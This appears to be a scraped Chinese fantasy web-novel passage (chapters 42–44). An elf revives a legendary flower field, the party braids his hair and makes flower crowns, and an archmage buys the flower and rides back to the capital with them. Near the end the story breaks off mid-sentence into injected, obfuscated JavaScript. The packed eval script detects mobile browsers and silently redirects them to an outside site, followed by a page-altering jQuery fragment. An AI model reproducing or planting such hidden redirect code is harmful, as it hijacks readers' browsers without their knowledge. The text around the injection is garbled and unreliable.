“阿方索,你是精灵,对魔力的耐受性比艾伯特更强,你来摘下吧。”梅茜给出意见,“其他人有问题吗?” 她看了一眼周围人,目光特意停在了温德身上。 其他人怎么说都是团队的同伴,这里只有他,和冒险团的利益有根本冲突。 温德知道善魔是什么意思,犹豫片刻,还是点头答应了。 私心里,他当然想要自己动手,毕竟“先下手为强”这个名言之所以流传至今,还是有它的道理。 但他也知道那才是最优解,只有让精灵去拿,才是目前最保险的方案。 “会不会危险…?”艾伯特忍不住张口,“还是让我来……” “阿方索来是最优解,是你我都知道的事情,”梅茜没有立刻拒绝,而是理性的分析,“如果他不能摘下那朵花,我们这里也没人能摘下了。” 艾伯特仍然不甘心,但此刻也只能哑然,他知道梅茜说的是对的。 “阿方索,你可以吗?”团长转过头,询问身边的精灵。 阿方索没有说话,只是点了点头,随后径直地向那朵白花走去。 在众人的注视下,他伸出了手,花朵被连枝取下,仍然保持着完整的洁白和翠绿。 阿方索的动作利落自然,跟平时摘果子时没什么区别。 而在且醉草落入他手中的那一刻,一抹流光从精灵的手中转出。 顿时,天地变色。 草木再次生长。只是一瞬,高大的树木从地底升起,花朵在精灵脚边形成无数的花苞。 无数的草叶由此蔓延,覆盖了目之所及的所有地面。那些重新枯黄的地方,也重新泛出绿意。 所有人见证着这一幕时,不约而同地屏住了呼吸。 面前的奇迹多么令人失语,没有人发出一丝声响。 艾伯特也不例外,只不过比起周围的环境,他更在意的是站在对面的那个人。 但是,随着景象的改变,他的呼吸渐渐变慢。 眼前渐渐形成的画面,除了那如同巨大穹庐一般笼罩在天空之中的玻璃不见外,竟然与那时艾伯特在幻境里看到的那个温室,有九成的相像。 可震惊之外,更多的是担心。 他的视线再次落在阿方索身上,看着那朵盛开的白花,眉头微皱。 手中的花朵轻而柔软,依在精灵白皙的手心,相得益彰。 阿方索垂眸,看着它,只觉得如同幻影。 随着这个念头升起,恍惚间,一道身影,也同时出现在了他的身侧。 如同当时一般,来不及躲避,也不能躲避。 那道熟悉的声音,用不熟悉的语气说出话来。 “喜欢吗?亲爱的。”绿发剑士笑着,异色的眼睛透露出明显的欢悦,满目欣喜。 那人低下腰,凑近他的耳边, 明明只是虚影,却几乎能感受到湿热的呼吸。 意识到只有自己感受到这样的幻象,阿方索停住动作,神色不变,只是手部微微僵住。外人若非仔细分辨,几乎难以察觉。 而那个身影浑然未觉,仍然沉浸于期待夸奖的兴奋之中,如同一个给喜爱的人奉上糖果的孩子,自顾自地说道: “这一切,都是献给你的礼物哦。” 42. 花海(上) 艾伯特盯着那个身影,察觉到阿方索似乎有些不太对劲。 精灵站在那里,看起来似乎与平时没什么不同。 但少年注意到,那拿着花朵的纤长手指,要比平时更加僵硬一些。 于是,不禁有些担忧。 他开口呼唤道: “阿方索……” 然而话音刚脱出口,就哑在了喉咙之中。 被呼唤的精灵似有所觉,拿着白花的手垂在身侧,眼眸转过来,对上他的视线。 原本在他脚下的花苞,也随之尽数绽放。 昨日花田,至此,真正重生。 在转头的一瞬间,一路上绑在脑后、束住精灵月光般头发的细绳,似乎终于承受不了压力,滑落了下来。 精致的侧脸在花田温暖的光线中展露,金发散落,于风中轻扬,漫于花海之间。 耳边的金饰眩目,又移不开视线。 眉眼空灵,美好到让人想到永恒。 即使经历千年万载,都未曾改变过一丝一毫的永恒。 “这是,精灵与自然的亲和?” 梅茜目光微动,看向走近的精灵,语气几近叹息。 “阿方索,你身上,有着我们难以想象的力量呢。” “它自己触发的。”精灵散着直至脚踝长发,简短地回答。 “我没动。”他说,语气没什么起伏,但莫名听出来几分委屈。 梅茜:。 刚想升华一点,不要这么扫兴嘛。 而就在花朵绽放之时,手中原本被屏蔽的魔力讯息系统突然被联通,狂轰乱炸般的信息迅速涌来。 梅茜被通知声打断了发言,她摸出魔石,看着上面流逝的时间,还有999+的信息,是一种异样而强烈的安心感。 “委托时间竟然已经过去快两个月了……”梅茜握着手中的魔石,喃喃自语,“完全没有感觉呢。” 而除她之外,几个人看着披散头发的精灵,不是真人的样貌,都有些呆呆愣愣的。 其实梅茜扪心自问,她其实有点被迷昏头了,只不过可能是因为活得比较久,耐受性会更强一些吧。 温德第二个反应过来,他向前一步,迈到了梅茜的旁边,拦住了精灵的去路。 “我想和你们做笔交易。”他言简意赅,“我想要且醉草。” “我比你们都需要它。” “需不需要都是其次,谁的用途又比谁高贵呢?不如说说看,你能给什么吧,大魔导师。” 一提到交易,诺曼就跟触发了底层代码一样,眼神瞬间变得精明。 温德其实内心还是有些紧张,刚才的动作,有些过于急促了。 他并不担心自己的条件会无法打动对方,只是实在是不太擅长应付这类场景。 他喉结滚动了一下,开口: “学院能给你们的,我都可以悉数奉上。况且学院当时那个附加条件,对于且醉草来说,太寒酸了。”温德说,“一路上你们任务的要求也满足了,报酬可以正常拿到,也不至于落下话柄。” “学院报酬的金额,我可以额外给你们十倍。” 诺曼刚想说,这也不是很诱人啊。毕竟当时学院给那个条件,是因为没有期望他们找到且醉草。 一旦上报,获得的数字肯定比这个多得多。 他刚想说点什么,就听见那位轻描淡写地补充道: “每个人,总报酬额的十倍。” 老板大气。 他没什么可说的了。 看着那两位贵族家的子弟,温德继续说: “你们关于庆典宴会的邀请,我可以来处理。” “至于你们是想以家族,还是想以曙光冒险团成员的身份参加宴会……我不干涉。” 他又看向阿方索。 “庆典时的一切花费,还有参加晚宴所需的准备,无论是衣物还是别的,都由我来承担。以后有任何麻烦,都可以来找我。” 下血本了。 就连是艾伯特和妮娜这样家境相当优渥的人,也不禁有些诧异。 虽然知道且醉草就是如此珍贵,光是参加晚宴所需要的衣物和一连串准备,连一般的小贵族家庭都很难承担得起呢。 听到这一连串的条件,真是…… 太爽了。 这可是温德自己说的,不要白不要。 最终,大魔导师喘了口气,说出了最后一个报酬。 “如果,你们有想见的人的话,我也会想办法安排。” 梅茜笑了一声:“那就麻烦你了。” 黑发的青年抬头,等待她说出什么令人难以置信的名字。 “谁?”他问。 王座之上的那个人?深居简出的那位精灵大魔导师?甚至是院长,他都可以想想办法。 “我确实要找一个人,不过不是什么特别的种族或者大人物。” “那是……” “一个前台。” “一个冒险家公会,长着狐狸耳朵和尾巴,工号叫做737的前台。” 温德:? 虽然不是很明白这位在说什么,但是答应就对了。 “好。” 他一口答应下来。 虽然不知道对面经历了什么,不过给的条件还挺详细,一个前台嘛,大概是没有多大麻烦的。 大概。 诺看着尘埃落定,好不容易松了一口气,一转头,就看见自家团长和精灵站在一起,嘀嘀咕咕地不知道在说什么。 接收到他的视线,阿方索抬头,绕了绕指尖的发丝,说:“散开了。” “艾伯特说,正好换个新发型,编起来。” 啊,确实呢,虽然现在这样很好看,他是多少有些麻烦吧。 “我应该会编辫子……?”诺曼望天,“以前给妹妹编过,不过那都是好多年前的事情了。” “我应该还好,头发刚长长的时候,试过两回。”艾伯特眼神中充满着期待,“而且我会编织,大概都是一回事吧。” “做发型吗,我会哦!”妮娜兴奋起来,琥珀般的眼睛发出亮光,裙摆雀跃地扬起。 “我之前跟姐姐学了好多种类型,不过,都是给自己和姐姐……” “那正好可以试一下哦。”梅茜接话,她翻了翻自己随身带的小包,“辫子很可爱呢,我这里正好还有两个发圈。” “所以,现在不走了吗?”诺曼问道。 “反正委托都结束了,也不用担心时间流速问题了,这里风景这么好,歇歇吧。” “这里是不是有人着急走来着……” 虽然编辫子确实很好,但诺曼还想着那位一路上都显得十分归王都心切的大魔导师。 但话音未落,就看到温德已经默默走到了最近的树下,躲在大树的阴影里,背靠树干,躺了下来。 一套动作丝滑无比,没有一丝犹豫,像是失去了所有力气与手段。 光是看着那条长长的黑影,就能感受得到主人的疲惫。 诺曼:……行。 在花朵的簇拥中,曙光冒险团迎来了他们庄严的第一次编辫子聚会。 诺曼站在阿方索的正后方,摸着下巴打量很久,思考编哪个种类会更合适一些。 三股,四股,还是蝎子呢? 真是一个值得思考的问题。 妮娜捏着一缕发丝,神情凝重,仿佛在琢磨一个巨大的难题,不敢轻举妄动。 艾伯特跪坐在旁边,表情也相当认真。他明显很紧张,伸手的时候手指都在发抖,目光没有离开一秒。 梅茜漫不经心地揪着小花,等待着一会儿编好之后插上去。 阿方索倒是很自然,跪坐在地上,羽饰被暂时摘下,绕在手腕上。 精灵收集了一些花朵,开始编起了花环。 虽然身子不动,但是却很敏锐,手上的动作也很快。 有时候距离太远,目光扫过,就会有一道浅浅的绿光替他摘回想要的材料。 没一会儿,一个个花环就在他手中诞生,无一不精美可爱,在场的人都得到了一个。 温德没有被邀请,这倒不怪阿方索,距离得实在有点远了。 反正他也没有特别想要,也实在不想动弹。 他现在就想一个人待着,好好思考一下接下来的人生。 思考一下,回到王都之后,该怎么面对王室和自己的家人。 特别是那位亲爱的父亲,和亲爱的公主殿下。 艾伯特收到那小小的礼物之后,他看着手上的花环,忽然起身,走到远处,在花朵里仔细挑选起来。 他动作不是很熟练,花朵也精挑细选了很久。 他想亲手做一顶花环,送给阿方索。 等到再转回时,编辫子已经结束了。 精灵站起身来,长辫垂到腰间。 金色的发丝被编起,也不是一丝不苟,松松扯出了几缕碎发。 上面盈满了花朵。阿方索站起来晃晃,发丝在轻风中摇曳,花朵绽放在他的发间,愈发清丽。 他转过身,眉眼弯弯,向着同伴露出了前所未有的笑容。 不同于以往任何一次牵起嘴角,或者是那种微微一笑。 这一次的笑容是如此亮丽,那样纯粹。 明明是看起来相当多情的眼型,眼尾微微挑起,睫毛又那么长,一抬眼就像蝴蝶振翅,扑闪扑闪。 里面的瞳孔介于蓝绿之间,那通透的碧色,会让人联想到密林中深处的湖面,清澈而瑰丽。 因为过于美丽,反而让人警惕,可说到底,还是忍不住再多看一眼,再多靠近一步。 但一旦几乎弯成月牙,就会带上些孩童的稚气,天真得让人怜爱。 想要捧在手心里呵护,抱在怀里细细亲吻,想为他奉上一切,任由挑选。 就像现在这样。 诺曼捂住胸口,倒在地上,脸上却带着安详的神情。 如果此刻就这样死去,就连他这样势利的灵魂,也一定会得到救赎吧。 妮娜忍不住看呆了,少女双手捧脸,痴痴地看着眼前的人,欣赏着自己参与的杰作。 梅茜挡住了自己的视线,害怕看太久,也抵抗不住那双漂亮眼睛的注视。 唉,她还以为自己永远不会害臊了呢。 绿发少年刚刚走到精灵身边,就呆在了原地。 他手里拿着一个花环,是由他自己做的。 艾伯特的神情,怎么说呢。 就连在一旁看戏的温德,都忽然有点后悔没带留影魔石。 花环谁都能做,虽然那位也是美得惊人,不过当下的感觉远超于照片。 无法记录精灵的笑颜,虽然有点怅然吧,但因为心里知道无论怎样,大概都不能复刻此刻的感受,所以,倒也不会太可惜。 可是,错过绿色水母以番茄形式炸开花的样子,无法记录下来当做留念…… 还是比较令人遗憾的。 43. 花海(下) 那个笑容没有持续很久,但足以刻进每个人心里。 精灵又恢复了往日淡然的表情,只是眉目间还有点格外的神采。 注意到艾伯特回来,阿方索双手张开,转了一个圈。 灰色斗篷一摆,像蝴蝶一样飘起,又轻盈地落下。 他微微侧头,把背后的发辫转向少年,展示。 “噔噔。” 很难想象那样一张精致清冷、美的不似凡尘中人的脸,竟然能在表情还是淡淡的情况下,说出这种话。 然而明显这招对于对面那位来说,相当效果拔群。 Unbelievable. 绿发少年反应过来时,手中的花环已经被握紧,表情像是被射中了心脏。 本来脸就红扑扑,现在要和耳钉一个颜色了。 瞳孔都在震动,但目光闪闪,亮得耀眼。 虽然这个距离听不太清他们说什么,但能看出来,是相当激动且雀跃的回应。 口型相当夸张,不断地点头,手指都忍不住动作,明显是在称赞。 看着那绿色水母手舞足蹈弹跳,头顶上都要冒出爱心的样子,犯花痴的样子过于经典,没有其他解读的余地。 大魔导师闭上了眼。 被心爱的人一个小动作就迷得七荤八素的男人啊,真是可悲。 我们王都未来的青年一辈,究竟会变成什么样子。 而就在温德思虑王国的前途时,王国未来的花朵一无所知。 在进行了一番发自内心的赞美之后,他才想起手里的花环,已经因为刚才的用力被捏得有些歪,少年有点害羞,想要藏到身后。 但不知对面说的什么,少年的眸子顿时亮得像阳光下的紫水晶,闪闪动人。 于是,随之雀跃地献宝。 几缕碎发向下垂落,漾出碎金的色泽。 即使身高足够,艾伯特还是微微踮起脚尖,双手捧起亲手编织的花环,小心翼翼,珍而重之地把它放在了金发之人的发顶, 上面的几朵小花已经歪了,不过看起来还是相当可爱。 温德再睁眼,就看见精灵头上多了个歪歪扭扭的花饰。 虽然艾伯特之前没怎么编过花环,也不如精灵一般特别手巧。 但由于心态相当认真,也修修改改尝试了好几次,其实一开始还是看得过眼的。 只可惜,那时下意识握紧的手,毁了一切。 虽然,现在结果看来,也没有毁得很彻底呐。 阿方索扶了扶花环,不知说了些什么,两人相对笑起来。 贵族少年的手指抵住嘴唇,但是仍然抑制不住肆意而明媚的笑容,宝石般璀璨的紫红眼睛,都禁不住弯了起来。 手指也摸上了脸颊,笑声在指缝中传出。在笑意的间隙,他满心欢喜地看着对面同样年轻的那个人。 那两张脸一旦对上,连画面都漫上了暖色调,看起来对眼睛非常有好处。 温德看着这一幕,柔柔的风吹过,黑色的眼眸也不禁眯起。 忽然觉得,无论之前经历如何,在夏日的末尾,能有着这样的时刻。 今天,大概是他这一年以来度过的最好的一天了。 面前的光线被一道身影隔住,凝眸一看,是那位善魔女士,不知何时走了过来,站到他旁边。 “很没出息吧,我们团长,被人家轻轻松松迷成这样。”虽然话语听起来像是嘲笑,但是梅茜声音闲适,没有半分责怪的意思。“不过也不怪他,精灵是我见过最美的种族,阿方索也是我见过最好看的精灵了。” “这两个人凑一起,也是真养眼啊。” 温德不置可否,转过眼神看向她。 “你不是给过定义了吗?”他反问,继续说,“有什么问题就直接说吧,别弯弯绕绕。” “我也只是实话实说而已,难道我说错了?”梅茜绕了绕脸颊旁的小辫子,并不在乎对面有些恶劣的语气。 “不过,我确实有问题想问你。” “说到底,当时为什么停止研究呢?你又不是会缺经费的那种。” “那篇论文,我看过很多次,也一直在关注着它的进展。” “明明,马上就有推动它成熟的机会,为什么不去做呢?” 这种敏锐又喜欢追根究底的人,真是麻烦又讨厌啊。 特别还是同行,糊弄又糊弄不过去。 “因为没用啊。”温德暗红的眼眸半阖,似乎陷入了回忆。 “开始,只是想帮帮忙。我认识一个人,她在魔法上没有天赋,可是其他方面都做得很好。” “她其实并不需要我做什么,但我还是想试试,至少,看看能不能帮到和她一样的人” 和聪明人说话就这一点好处,不用废话解释太多。 他们都知道他说的是谁,也就不必点破。 “毕竟不是谁都有她的条件,更多人不仅魔法方面没有天赋,其他方面的窗户,也是关得严严实实。” “但,后来发现需要的人不在乎,不在乎的人也都不需要,就算用不着拉投资筹经费,我一个人在那里兜兜转转,也没有意思。” 说到这,温德哼笑了一声,呼出一口气,说话时带了点鼻音,也带了点认命的意思。 “况且,那些东西大多时候确实没有那一道咒语有效。不能普及也不被理解,干脆就算了。” “而且,研究做久了,那边……会不高兴。”他掰了掰手指,“虽然,我就是那边的人。” “所以我也更清楚,他们养着一堆大魔导师,包括我,又腆着脸三番四请精灵入幕,不是为了让平民动动手指也能拥有等同于魔法的力量。” 梅茜听完,微微颔首,嘴上说的话却和她温和的表情截然不同。 “你这个人,真是相当不坦诚呢。” “明明做了好事,还要把自己贬得这样一文不值,我还以为你不会有配得感缺失这种常见的症状呢。” “我觉得,说出对方能听懂的话,就不算不坦诚吧。”温德眉毛挑起,并不认同。 “我只是实话实说自己的想法。反正无论怎么样,你都会有自己的理解。” “我又不是那位沃德家的少爷,没有那么细腻的心思。” “你说,艾伯特吗?单单就这一项来说,他真没有吧。”梅茜粉眸一眨,思索起来。 “反正,我没看出来。” “什么?”温德有点疑惑。 梅茜倒是有理有据地开始解释。 “虽然咱们这位学弟性格是有点敏感,但,你看,他什么时候说过自己不配?” 温德张开了口,想说这还用说。 但是翻了翻回忆,无论是在聚集点遇到他们开始,还是更以前在宴会上的相遇,竟然真的找不到可以举出的例子。 仔细想来,就算是在那些热闹的社交场合,就算是躲在角落,一场也不跳一支舞。 哪怕是客客气气的,也只有这位次子拒绝别人的时候。 他说不出话,梅茜摸着下巴,沉吟片刻,接着说。 “相反,我觉得他有点,过于……自信了?” “这上赶着给人家编花环,要不要都没问呢,就戴人家头上了。” 说着说着,善魔若有所思起来,粉眸转向右下角,蓝发间的小角晃了晃。 “虽然说,他一直说想让自己配得上那些东西,一直非常努力。那时候在学院,有时候连我这样的旁观者远远看着,都觉得有些过于努力了……” “但是,这一路上,好像一直没有听他说过,觉得自己配不上那些呢……” “就连对阿方索,总的来说,他也是一直都……积极回应呢。” 梅茜选了个无论是在人情世故,还是在客观形容方面,她认为都比较合适的词。 温德没有插话,也陷入了沉默。到头来,还是梅茜自己先停止了这个话题。 “唉,不知道为什么,这么一想有点可怕诶。” 她干笑了两声,也有点被自己的想法吓到了。 真是的,说的艾伯特好像一个非常疯狂的利己主义执念超强脑回路不正常的重男一样呢。 明明人家人设一直是善良又正直、敢于反抗家族的纯情贵族年轻公子来着呢。 长到这么大,手都没牵过。 “可怕就可怕吧,反正你们这里也不缺可怕的人了。”大魔导师摸了摸自己的长辫上的缎带,淡淡地说。 “一个能让昨日花田重获生机的精灵,身体内拥有被且醉草裹挟而去的记忆,你们竟然就这么放任他,一句话也不问。” “问了,又能问出什么呢?”梅茜歪了歪头,“他想说的自然会说,他不想说的,我们也问不出来,就算知道,又有什么用呢。” “要我说,王室和学院应该给你们家的精灵交点管理费。”温德闻言,不咸不淡地说道,语气分不出是玩笑还是认真,“毕竟能让昨日花田焕发出现在这样的光彩,他们加起来三百年都没做到。” “我的意思是,你们真的可以去要。” “反正阿方索是精灵,他们再疯也不敢抓他去研究。”他嘴角勾起一抹意味深长的笑容。 “顶多,也就跟你们抢抢人算了。” “别了,阿方索可是我们团里的最佳吉祥物。”梅茜果断拒绝,“没他团长得疯,冒险团也得跟着黄。” “可惜。” “到底在可惜什么啊?” 温德没有回答,因为无论哪种,其实他也并不觉得可惜。 他把双手垫在脑后,问出了一句没头没尾的话。 作为这次对话,温德主动提出的第一个问题。 他问的是:< /p>“……研究这么久,你就没有一刻感到厌倦吗?” 善魔听到这句话,没有立刻回答。 她在他的身边坐下,曲起一条腿,手撑在膝盖上,尾巴绕上小腿。 “当然。谁不会呢?”她说。 “知识是无穷无尽的,学习,也是永无止境的路途。” 梅茜望向天空,太阳高悬。 她眯了眯眼睛,抬手挡住光线,手腕上,还挂着阿方索刚才送给她的花环。 花朵在阳光下显得愈发鲜明娇艳,善魔笑了笑。 “不过,后来就想通了。” “既然怎么也走不到头,那就干脆不要一味往前。” “我就喜欢在路上停停走走,看看风景。” “目前看来,也没什么不好的。” 没什么不好的吗?温德垂眸,手指扫过腿边的草地,点点的痛,有些扎人。 胸前的匕首仍然给予着他鲜明的触感。 即使那道流光愈合了昨日花前所有的伤疤,但那些枯黄,到底是曾经存在过的。 走走停停,那不是他应有的态度,也不是他处事的方式。 他也没有这样做的资格。 回去之后,又该如何呢……? 正胡乱思考着,眼前一晃,忽然出现一个美丽的事物,顿时吸引了他的目光。 用深绿色细枝勾勒,上面缀着一朵朵红花,米白轻盈的满天星拢着花蕊,娇艳而不失雅趣。 大魔导师惊了一下,猛地抬眼,就看见了那金发的精灵不知何时出现在眼前。 头上还戴着那朵拙劣的花冠,手腕上围着嫩绿色的枝条,应该是木弓的化形,不知何时,再次出现在阿方索身上。 “……我也有吗?”温德张了张嘴,有些难以相信,他指了指自己。 “嗯。” 温德伸手,阿方索将花环递给他,花环在触碰掌心时,带来细微、柔软的痒意。 “……谢谢。”黑发青年微微抬起头,长辫的末端垂在地上,唇还抿着,但耳根微红, 声音也很清晰。 “花环……很漂亮。” 人也很漂亮。 阿方索点了点头,没有多说。那边艾伯特叫他,他就转头去找他去了。 临走前,他侧过头,一双碧色的眼睛在花海中像是被水洗过,干净透彻得晃眼。 但从那张嘴里吐出来的,却不是什么优美的诗句或者歌谣。 “妮娜和诺曼找你。”他说,“辫子编乱了,解不开。” 梅茜听完,也拍了拍身子起来,悠哉悠哉地走向另一个方向,找妮娜和诺曼他们研究新的辫子编法。 两人离开之后,温德又清净了。 他拿着花环,看了又看,开始发呆,念头也飘飘然远去。 刚才那个角度,让他想起来小时候玩过家家的时候,希尔里德往他头上扔花…或者说砸花的样子。 光是视角来说,简直一模一样。 又想起这件事。 话说回来,至今温德也没能明白,为什么希尔里德当时那么生气。 明明也让她当父亲了啊。 他倒是无所谓什么角色啦,毕竟当时温德年龄最大。 不过,那位妮娜小姐不会知道吧,当时肯特家族的长女也在。 虽然只是小一两岁,但那位格蕾丝小姐向来不愿屈居人下,更不会同意当比她年龄小的孩子的女儿,哪怕是扮演的。 格蕾丝还一直坚持一个原则。 一旦人数超过两人,过家家就必须得有人扮演孩子,不然就不好玩。 而温德的第六感告诉他,不要跟那位小姐争吵比较好。 所以,他来当孩子,有什么不对吗? 格蕾斯都接受了,希尔里德却不知道为什么生气了,本来采了很多花,还问他怎么搭配比较好看。 结果一听他叫她父亲,就把花全撒在他脸上了。 真奇怪。 ………… 呵呵。 好吧,其实,也不奇怪。 希尔里德说她不喜欢花,但每年都会种花,而且只种一种。 按理来说,现在离那种花自然开放最盛的凛冬时节,还差一段时间。 不过,王都庆典将近。到那时,一切的花儿,都会在魔法的力量下,与飞舞的彩带一同绽放。 温德喜欢花朵。每逢这个时节,他都会在王室的花园里流连很久。 大部分时候,是温德一个人。 有时候……嗯,不是。 今年的秋日,又会是怎样的景象呢? 温德转了转手中的花环,手指轻轻抚过上面红花,脑子里却想的是王宫后面花园里的山茶。 反正,她窗前那簇红白相间的卡米莉亚,依旧会照常散发出馥郁的芬芳吧。 44. 归途 四匹红骝在道路上飞驰,在舒适的马车上,六人相对坐下。 诺曼和两位女士坐在对面舒适的沙发上,正翘着脚,对着整个车厢的环境进行点评。 “这沙发,这木头,这桌子——”黄头发扎着小辫的男人眯起他黑色瞳孔,无比煽情地说道:“还是真皮——” 他深吸了一口车里漂浮的空气,幽幽地感叹:“伊犁之歌5号,也是下血本了呀,不知道哪个冤大头才会——” 话音还没落地,就想到冤大头本人还坐在对面。 诺曼没有说完,干笑两声,老实了一点儿。 但这点老实没持续半分钟,诺曼又开始抚摸起扶手上的一块宝石,又用脸蹭了两下。 为这趟出行付了全款的真正·冤大头,此时正倚着车厢,强行让自己闭目养神。 从他的表情上来看,这位大魔导师似乎相当云淡风轻。 可没人注意到,他在被长袍遮掩的另一只手上,已经有青筋显露。 但诺曼还在叽叽喳喳,没有停下来的意思。 两个可能,要么他没有自知之明,要么,这个人就是故意的。 但无论是哪个,温德现在都拿他没有办法。 总不能现在把他踢下马车吧。 虽然他真的很想。 几乎是半个时辰过去,这场闹剧才堪堪结束。 那个男人撑着下巴,虽然安静下来,但手还不老实地伸向车厢中间的小桌板,偷偷摸摸薅点麻烦的零食塞进嘴里。 梅茜坐在中间,对诺曼毫无出息的小动作见怪不怪。 反正不用她花钱,善魔拿出一路上收集的资料,开始指指点点。 除去学院的委托,在花田里,梅茜也收集了不少好东西,无论是草药还是别的,都足够她研究一段时间了。 旁边的妮娜凑过来,仔细倾听着,棕色的长发有几缕落在手腕上,她也浑然未觉。 而没有参与讨论的另外两个人,则是另一番场景。 温德的旁边,艾伯特坐立难安。 他特意往另一边靠,想要离这位公爵家的独生子远一点。 可是身边另一侧,又是那个靠近就会让脸变得通红的人。 他不想打扰阿方索,所以十分纠结,处在一个不尴不尬的境地,身体几乎要成了S型。 事情发展到这个地步,实在是超乎了艾伯特的预料。 在开始上车的时候,出于礼貌,他们让梅茜和妮娜先进去选了座位。 妮娜开始对这种女士优先的做法表示不需要,但梅茜很乐意地接受了。 不为别的,只因为她知道,这会是相当长的一段路。 她拉着妮娜坐在马车后半部分。经验所谈,坐这种马车时在后方,赶路的时候比较安稳,也不容易晕车。 阿方索排在女士们的后面,轮到他时,精灵选择坐到了她们对面前排靠窗的位置。 那个地方有一个角度,刚好可以看到前方行驶的骝马。 艾伯特当然要坐在阿方索的旁边,他落座的时候,精灵还很默契地往旁边移了移,虽然本来座位也够大了。 接下来,就是温德了。 艾伯特以为温德会坐在梅茜旁边,毕竟整个冒险团,他也就和善魔关系还不错。 或许精灵也会无所谓,而阿方索旁边已经有他了,再想坐下的话,只能出去和骝马一桌了。 谁知道这哥们怎么想的,自然而然就坐到了他旁边。 长袍一挥,就坐了下来,双腿交叠,根本没有半分客气的意思。 感受到旁边少年不可思议中又带着些许不满,隐隐还有一丝惊恐的视线,温德默默移开目光。 其实原因很简单。 他……只是不好意思和异性坐在一起。 但这种事如果说出口的话,可能会被这群人嘲笑,他都能想到梅茜可能的的反应了。 大概是手捂着嘴,轻笑一声,然后说:“哟,这么纯情啊,大魔导师。” 还有那个商人和艾伯特…… 总之,他是绝对不会告诉他们真正的原因的。 “这几匹是目前能找到最高级的骝了。”等诺曼安静下来,温德有气无力地解释说,“这一路的花费,加上餐费和住宿费,已经比魔法阵还要昂贵了。” “你选的嘛,大人。”诺曼抛了个媚眼,笑嘻嘻地回应。 “要是我一个人,我就直接用魔法阵了。”温德不接茬,往后靠了靠。 意思不言而喻,别来沾边。 他揉了揉眉心,无奈道,“但用魔法阵,就算能拉上你们,你们又没有王室的通行认证,没法去私人的阵地。用魔法阵去王都,只能用另一个公用法阵。” “王都一直都不清静,现在还临近庆典,每时每刻,进出法阵的人流都相当多。” 他顿了顿,又补充道:“我想,还是不要惹起暴动比较好?” “就算大家现在都知道你们曙光冒险团有一个精灵,但也不需要这么华丽的出场吧。” 也是。 “该说不说,这辆车的骝真是不错。”诺曼咳了一声转移话题,感叹说,“这个速度还能这么平稳,比我们去木林镇那时候坐得还要强。” “都很棒。”阿方索忽然说。 “行行行,都棒。”面对精灵,诺曼就变得非常识时务,双手投降,立刻改口。 妮娜大大的琥珀色眼睛扑闪了两下,她歪了歪头:“我听说其实骝的灵智很高,超出了普通的家禽,甚至能和普通人、魔兽媲美了。” “一顿饱和顿顿饱,它们还是分得清的。”黑发青年哼笑一声,“人也不是这样的吗?” “差不多得了,能不能不要老说一些人身攻击的话……”梅茜无力吐槽,“明明你自己就是例子,总是一言不合就把攻击范围选择全体干嘛。” “要是别人不知道你是温德·西索,这样的话,放在外边是要挨揍的。” 温德噎了一下,但听到善魔后面那句话,又有些不服不忿地开口。 “那谁叫我一出生就是温德·西索呢。”大魔导师冷笑一声。 “再说,就算想打我,大部分人也没有我地位高。”他淡淡地说,“剩下的一部分,也打不过我。” “那也没有必要那么说,好好沟通,我是人与人之间的钥匙。”梅茜摇了摇头,叹了口气。 “既然你能打开门,用钥匙拧两下也不费力,非要一言不合就踹开,这是什么新型潮流吗。” “你明白我是什么意思吧?” “我当然知道。”温德说。 只是,也得分是什么门,有的门可以靠钥匙拧开,有的门,天生就应该被踹。 昨晚,他把那个已经相当古朴的匕首和那个精灵所赠精致花环放在了一起。 匕首上面有许多空洞,是曾经镶嵌着晶石的地方,如今早已磨损,变得一片漆黑。 而那个花环是那样的美丽而新鲜,因为被施了魔法,和当初刚摘下时,仍然毫无区别。 明明是很不般配的事物,看起来竟然也并不别扭。 温德盯着那两样东西,沉默了很久很久。 他想起自己和那个老头子初遇的时候。 那时他还不大,听侍者聊天,书店里出了新书。好奇心旺盛,等不及府里统一采购,就想出去看看。 然后就遇到了那个改变他一生的人。 只是偷拿了两块面包分给贫民巷里饥饿的孤儿,就一直被追捕。 还塞给了温德一块。那时候小小的公爵独子对城里不是很熟,恰巧迷路,也恰巧目睹了分发到被抓到的。 在几个人按住那个老头的时候,他鼓起勇气,站了出来。 后面的剧情就是很俗套的事情,没有什么可说的。 等他一亮出公爵府的令牌,那些人就立刻换了脸色,变得毕恭毕敬。 一群走狗。 而他呢?被走狗所尊敬的人,所谄媚的人,甚至被他们所供养的人……也只不过是更大的走狗罢了。 温德不再去想,亲手把那个盖子合上,放在了车厢的最里部,也是最安全的地方。 虽然后来他知道,那老头偷的不是两块,是两百块,只是当时恰好分到只剩两块。 而且他已经进进出出好几回了,当时的追捕,对他来说,差不多是跟游戏一样吧。 真是浪费感情。 他闭了眼,这些东西一想起来,就停不下。 但想着想着,竟然真的开始困倦了起来。 温德也没打算抵抗,正好睡觉,也真的睡了。 而他旁边的人,注定是没法像他这样轻松地入睡了。 艾伯特维持着姿势,觉得自己要变成一条麻花。 幸好旁边黑发青年似乎真的睡了,缩成一团,紧靠着角落,给座椅留出不少空隙,他才得以喘息。 一级警报暂时解除。他轻呼一口气,想起了离开昨日花田时见到的场景。 那个之前接待冒险团和……帕里斯的官员,就站在关口那里,他身穿着一身深蓝色的官服,挺拔地站立。 肃穆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802125|207612||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 身影,与如今娇嫩明艳的花田外围,显得是如此格格不入。 看见他们一行人出来,就立刻迎了上来。 “各位,你们能够安全,真是太好了……” 艾伯特迎上去,在回来的路上,他还想着怎么和这位先生解释花田的变化,准备了八种不同的回答。 结果第一个回答还没说,就被对方的反应惊在原地。 还没说上两句话,那张经过无数风霜的脸上,就留下了两行热泪。 后来才知道,这位长官出身的家庭,曾经就是昨日花田周边的居民之一。 他身为犬兽人,祖上却有龙族的血脉,也算是长生种的一员,见过三百年前未被烧毁的花田。 